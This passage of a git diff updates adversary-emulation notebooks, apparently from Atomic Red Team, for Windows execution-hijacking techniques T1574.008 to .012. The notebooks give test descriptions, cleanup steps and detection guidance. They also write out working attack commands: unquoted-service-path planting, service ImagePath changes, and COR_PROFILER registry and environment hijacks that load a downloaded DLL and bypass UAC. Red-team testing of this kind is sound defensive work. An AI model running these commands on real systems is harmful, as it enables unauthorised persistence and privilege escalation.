T1574.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "90dad44b", + "id": "f8dc5089", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "26d11bb6", + "id": "99d2fa8e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "40014795", + "id": "85aa1459", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n" } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.009.ipynb b/playbook/tactics/defense-evasion/T1574.009.ipynb index 569d4346..77765a1b 100644 --- a/playbook/tactics/defense-evasion/T1574.009.ipynb +++ b/playbook/tactics/defense-evasion/T1574.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f639089a", + "id": "d01e9f8c", "metadata": {}, "source": "# T1574.009 - Path Interception by Unquoted Path\nAdversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process." }, { "cell_type": "markdown", - "id": "dda8653c", + "id": "fdc00f81", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cbeb04e1", + "id": "409352db", "metadata": {}, "source": [ "### Atomic Test #1 - Execution of program.exe as service with unquoted service path", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\Program Files\\windows_service.exe\"\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" + "```command_prompt\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\Program Files\\windows_service.exe\"\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3e6d4a49", + "id": "ffc96a40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c5579f69", + "id": "b572ed59", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d1ca5c8b", + "id": "cffed3fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e25b25d1", + "id": "ea72433a", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.010.ipynb b/playbook/tactics/defense-evasion/T1574.010.ipynb index 0b261155..4280c159 100644 --- a/playbook/tactics/defense-evasion/T1574.010.ipynb +++ b/playbook/tactics/defense-evasion/T1574.010.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "36226e39", + "id": "9f10a56b", "metadata": {}, "source": "# T1574.010 - Services File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "2b942f9a", + "id": "339f94d2", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "30421956", + "id": "c2bcdd6f", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.011.ipynb b/playbook/tactics/defense-evasion/T1574.011.ipynb index c7d3a736..d787294d 100644 --- a/playbook/tactics/defense-evasion/T1574.011.ipynb +++ b/playbook/tactics/defense-evasion/T1574.011.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "6a572e81", + "id": "544be686", "metadata": {}, "source": "# T1574.011 - Services Registry Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)" }, { "cell_type": "markdown", - "id": "f738b2fd", + "id": "cf14ec68", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a68a77fe", + "id": "7836eebb", "metadata": {}, "source": [ "### Atomic Test #1 - Service Registry Permissions Weakness", - "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", + "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", "```powershell\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\weakservicename |FL\n```" @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bb689359", + "id": "11b855f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "97d7d4be", + "id": "46a075eb", "metadata": {}, "source": "### Atomic Test #2 - Service ImagePath Change with reg.exe\nChange Service registry ImagePath of a bengin service to a malicious file\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The service must exist (#{weak_service_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Get-Service calcservice) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nsc.exe create calcservice binpath= \"%windir%\\system32\\win32calc.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "382b5b70", + "id": "f98ba3dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3aeddd6e", + "id": "38ac1cf1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a9a09cce", + "id": "16e8a585", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "cc7c994a", + "id": "789b2e82", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe delete calcservice\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f7c6e01", + "id": "46554252", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ff5e24b3", + "id": "0fbb1929", "metadata": {}, "source": "## Detection\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data." } @@ -87,13 +87,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.012.ipynb b/playbook/tactics/defense-evasion/T1574.012.ipynb index aa6f072d..52c0cdc0 100644 --- a/playbook/tactics/defense-evasion/T1574.012.ipynb +++ b/playbook/tactics/defense-evasion/T1574.012.ipynb @@ -2,154 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "72b9181f", + "id": "6394ff00", "metadata": {}, "source": "# T1574.012 - COR_PROFILER\nAdversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "markdown", - "id": "0f70ee38", + "id": "7a4e8226", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "88ea65b6", + "id": "c8d7241e", "metadata": {}, - "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0c949281", + "id": "4ec6aa9d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6eb45de9", + "id": "3425ed44", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" + "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9cd4c7ee", + "id": "267597ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "65f68974", + "id": "55575108", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bc8d8f90", + "id": "b28c69b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ced156b8", + "id": "2f59250b", "metadata": {}, - "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "09ab782c", + "id": "4977c1ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "90bc1f45", + "id": "51e4b83b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\n```" + "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a43e4877", + "id": "4beda190", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "362d5895", + "id": "00c4b434", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "44c582aa", + "id": "a1153cb6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "78dd78a1", + "id": "85576e23", "metadata": {}, - "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "619bb056", + "id": "67f25eaa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "51cf1fe1", + "id": "3df2f2ca", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = 'PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll'\nPOWERSHELL -c 'Start-Sleep 1'\n```" + "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = 